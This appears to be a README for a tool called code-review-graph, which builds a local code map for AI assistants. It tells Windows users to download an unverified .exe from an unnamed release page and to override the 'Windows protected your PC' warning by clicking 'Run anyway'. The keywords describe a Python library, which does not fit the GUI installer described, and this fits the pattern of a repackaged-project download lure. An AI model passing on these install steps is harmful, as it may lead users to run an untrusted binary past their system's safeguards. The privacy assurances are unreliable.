Code-review-graph builds a map of your software files. This map helps AI tools understand your code faster and more accurately. It stays on your computer, so your data remains private while you work.
AI tools often struggle when they look at too many files at once. They can get confused or miss important details. This tool solves that problem. It analyzes your project structure and creates a simplified guide. When you use an AI assistant, it only reads the parts of your code that matter. This saves time and results in better answers during your code reviews.
Follow these steps to set up the software on your Windows computer.
Go to the official release page to find the latest version.
Look for the file that ends in .exe. Click the file name to start the download. Save the file to your Downloads folder.
Open your Downloads folder and double-click the file you just saved. Windows might show a security prompt because this is a new application. If you see a blue box that says "Windows protected your PC," click "More info," then click "Run anyway."
Once the app opens, you will see a window asking for your project folder. Select the folder where your code lives. The application will scan your files once. This process can take a few minutes if your project contains thousands of files. You will see a green checkmark when the scan ends.
The main screen shows your current project status. You will see a list of files that the AI can currently see. You can toggle specific folders on or off if you want to limit the scan. Use the refresh button if you add new code to your project and want to update the map.
This tool runs entirely on your machine. We do not send your source code to any external servers. The map lives in a local file on your hard drive. Your data does not leave your desk.
If the scan fails, ensure that you have permission to read the files in your project folder. Restart the application if it becomes unresponsive. If you see an error about missing components, verify that your Windows system is fully updated.
Keywords: ai-coding, claude, claude-code, code-review, graphrag, incremental, knowledge-graph, llm, mcp, python, static-analysis, tree-sitter